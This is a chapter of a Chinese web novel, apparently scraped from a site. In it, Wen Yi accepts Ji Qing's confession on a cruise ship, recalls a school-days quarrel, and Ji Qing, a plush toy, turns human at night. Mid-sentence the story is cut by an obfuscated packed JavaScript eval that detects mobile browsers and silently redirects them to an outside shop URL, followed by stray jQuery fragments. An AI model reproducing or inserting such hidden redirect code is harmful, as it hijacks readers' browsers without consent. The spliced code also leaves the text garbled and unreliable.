游轮顶层夜风微凉,温柔地卷起温亦的发尾,她听到季青无比郑重地说:“是我喜欢你。”

    那一瞬间风声、水声和楼下的歌舞声齐齐静默,江边灯火辉煌,遥远的天边绽放出漂亮又绚烂的烟花,简直能照彻半座城市。

    温亦无声地将小季攥紧了些,比起惊讶、茫然之类的情绪,最先升起的是一种“果然如此”的笃定。

    那些越界的亲密,长久的曾经,果然指向这样粲然昭示的一句话。

    她突然想起来高中时候的一件事,那时候他们又因为什么事吵架,温亦已经记不太清了;只记得那一次似乎要严重一些,到了哪怕在课间和放学时候也互不搭理对方的地步。

    季青平日里就没什么表情,生气时候也一样,神色冰冷,眉眼漠然,话比平时更少。

    而温亦就不一样了,她比他跳跃活泼多了,所以一旦冷下来就颇为明显,恨不得天底下所有人都知道她又和季青闹矛盾了,惹得亲近的朋友都来问发生什么事。

    从前共同成长的日子里,他们在彼此面前不知道丢过多少次脸,连带着也就不太在乎在对方面前的颜面。

    以往就算有短暂的冷战,两个人基本上对视一眼就原谅了对方,倘若非要有人道歉服软,也是两方都低过头。

    只是那一次,好像谁先低头就要承认自己错了,两个别扭的人宁可偏过头,在一同走路的时候只用余光看对方,也不愿意先给一个台阶下。

    哪怕其实都心知肚明,就算只递一块碎砖头,对方也会踩着碎砖头下地,伸出手重修旧好。

    这样冷战了两天,共友都受不了,朋友先来问温亦。她当然是一通诉苦,把自己的眼圈说红之后谁也不敢惹,自然是帮亲不帮理,不管原委先支持她了再说。

    季青低气压的时候没有人敢去触霉头,平日里他也就和温亦走得最近,这一下更加独来独往。

    这边两个人谁也不理谁,却有人抓住这个机会,在课间将他叫了出去。

    温亦还没来得及注意到,朋友先偷偷过来和她附耳说:“是隔壁班的那个女孩子,一直暗恋季青的,平时你和他老在一起,这下估计以为你们闹掰了,赶紧先把情书递了再说。”

    要给季青递情书?温亦冷哼一声,她还在气头上,撇了撇嘴示意自己根本就不在乎,管那姑娘给季青递的还是给季红递的。

    这样相安无事了半天,晚自习放学之后,温亦突然想起了这件事。

    就像一根柔软的刺扎在她心里,说不出来哪里难受,但就是存在感很强,想起来就再也忘不了。

    从学校走到家有一段距离,将近十点天黑透,今天偏偏天气又不好,层层云翳把月亮和星星一起遮去,还有狂风呼啸,吹起她外套的下摆。

    和自己拉锯了几分钟,温亦还是先张口了,生硬地问:“你要和她谈恋爱吗?”

    季青转过头来,漆黑的瞳仁里映着路灯的光,亮得如同一颗寒星,他淡淡地问:“不是再也不管我了,还惦记着别人找我要做什么?”

    “我现在想管了不行吗?”温亦习惯性地加高语气,又很快蔫蔫地压下去,“你回答我呀。”

    她垂下头的时候,耳后别着的小猫发卡反射着灯光,在黑夜中一闪一闪地发亮。季青沉默地盯了两秒小猫发卡,问:“如果我说要呢?”

    “什么?!”温亦猛地抬头,小猫发卡立刻隐没在她的头发和耳朵后面,她的眼睛瞪得很大,“你要和话都没说过两句的人谈恋爱!”

    她在原地转了两圈,咬牙道:“我告诉叔叔阿姨,举报到撒冷和麦加那里去,说你早恋!”

    看着温亦圆圆的眼睛,季青突然有点想笑,他压下笑意,垂着眼睛说:“然后呢,你怎么看?”

    “我,我——”她显然是被惊得有些短路了,“我肯定不赞同呀!”

    得到这个回答,季青勉为其难地点了点头:“嗯,你不赞同,所以我不和她谈恋爱。”

    “你——什么?”温亦持续抨击的话被他的坦诚噎回去,她皱眉反刍一下这番莫名其妙的对话,终于从那一番关心则乱的奇怪情绪中抽离出来,意识到一些其他东西,“季青你玩我呢,从一开始就根本不打算好好回答我的问题是不是!”

    “嗯。为了让你理我。”他毫不犹豫地承认,转过头看温亦,眼睛和唇角都弯成高兴的弧度,眼睛亮得实在漂亮,温亦盯着他含着笑而格外俊美的面容,无可奈何地感受到自己的愤怒像气球,被轻易地戳破放气。

    “你得逞了,现在高兴了吧,回家路上我不会再理你了!”憋了半天她只憋出来这一句威胁,立刻加快脚步向前走去。

    季青垂眼看她被风鼓起的外套,又心情很好地微笑起来。

    .

    那时候其实就隐隐有预感……这么长久的关系,也有改变性质的一天。

    季青说完这句话就沉默下来,好像在给她消化和做出反应的时间。

    温亦也用这段时间,有些茫然地逼迫自己思考:你是怎么想的呢?

    这样恒久、稳定、从来不曾质疑的关系,熟悉又亲近的人,难过时候永远拥有的肩膀和双手,要不要从“朋友”向另外一个方向转变?

    思考之中,温亦突然想到,其实已经没有退路了。

    就算不愿意,她还能那样心无芥蒂地和他维持从前的关系吗?

    况且,她根本就不抵触和他并肩走向未知的前路,或者说温亦本能地觉得就应该如此,朋友做到最后,就是要突破某些桎梏,走到这一步的。

    游艇延伸台外昏暗的灯光下,她缓缓地攥紧自己的手指,季青也在等待最后的审判,心高悬起来。

    这几天中,他很难得地做了太多鲁莽的事,回头一想却觉得水到渠成。

    是他在这几天的亲密接触中心生妄念,是他问心有愧,不能和从前一样干净地对待她。

    那温亦……

    季青还没来得及想到最坏的一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843821|211582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    步,就见她豁然抬头,好像猛地想通了某件长久隐隐困扰的事情,眉眼灵动又漂亮。

    “我答应你,我们试试吧!”她说,僵持两天的距离被猛地拉近,季青头晕目眩地再次接受她的拥抱,感到一种甜蜜从舌根下缓缓渗出来,让他的声音都软下来。

    “真的?”他问。

    “当然,这种事情还能闹着玩吗?”温亦重复一遍,好让他更有实感地确认在三言两语之间肯定了什么,“季青,我们试试吧。”

    她没有拒绝,心尖巨石轰然落地,随之翻涌上来的竟然是罕见的委屈。

    “那你还,”季青说,“你还不理我吗?”

    温亦把他抱紧了一些,喜滋滋地说:“我怎么会不理你呢,情侣之间会做什么事呀?”

    大概是散步、拥抱、逛超市,一直在一起。

    或者说,拥抱、亲吻、乃至……

    季青猛地收回思绪,闷闷地说:“不用管,和以前一样就好。”

    温亦站在夜风中眯着眼睛想了想从前班里小情侣们会做些什么,遗憾地发现也就一起写作业、吃饭、出去玩,这些她和季青一直都做过,并不能成为参考。

    不管了!

    她的心被甜蜜的雀跃填满,前两天的纠结犹豫一扫而空,垂下头满意地蹭了蹭小季的头顶。

    游轮在灯光和烟火中划破波光粼粼的江面,向来时的码头缓缓归去。

    .

    打过出租,抵达酒店房间,温亦掏出房卡刷开门,甩掉鞋子趴在床上,长长地叹息一声。

    “要是人有自洁功能就好了。”她的脑袋埋在被子里,闷闷地说。

    “可能再进化几代就有了,”季青配合她胡说八道,“物竞天择适者生存,不会自洁的人会被淘汰也说不定。”

    温亦笑起来,顿了几秒又抬起头,勉力爬起来,拿好换洗衣物艰难地挪进浴室。

    水声哗哗哗响起,间隔着抹沐浴露之类洗护用品的声音,又在十几分钟后停下;温亦的头发挽得高高的,迅猛地洗完澡上床,微微眯着眼睛,打了个哈欠拥住小季道:“怪不得说情绪波动很耗费精力呢,我现在好累呀。”

    “今晚早点睡吧,”季青说,自从确定关系之后他本能地就软下嗓音,还被温亦笑了一回,“明早想吃什么?”

    “懒得麻烦,还吃酒店自助好了。”她又打了个哈欠,眯起眼睛喊智能家居关灯,又开暗夜模式玩了会手机,很快就不能抵抗睡意,手一松睡了过去。

    季青借着手机屏幕微弱的光温和地看她的脸,心想如果自己现在是人就好了,就可以帮她关上手机、掖好被子,说不定……还会在她洁白柔软的面颊上轻轻一吻。

    也许是这个欲望太强烈,某种荒谬的脱离感从他的心中升起,下一秒温亦闷哼一声惊醒,正对上压在自己身上的、季青少见的惊惶神情。

    她的视线茫然地下移。

    哇。原来从玩偶变回来,不会穿衣服。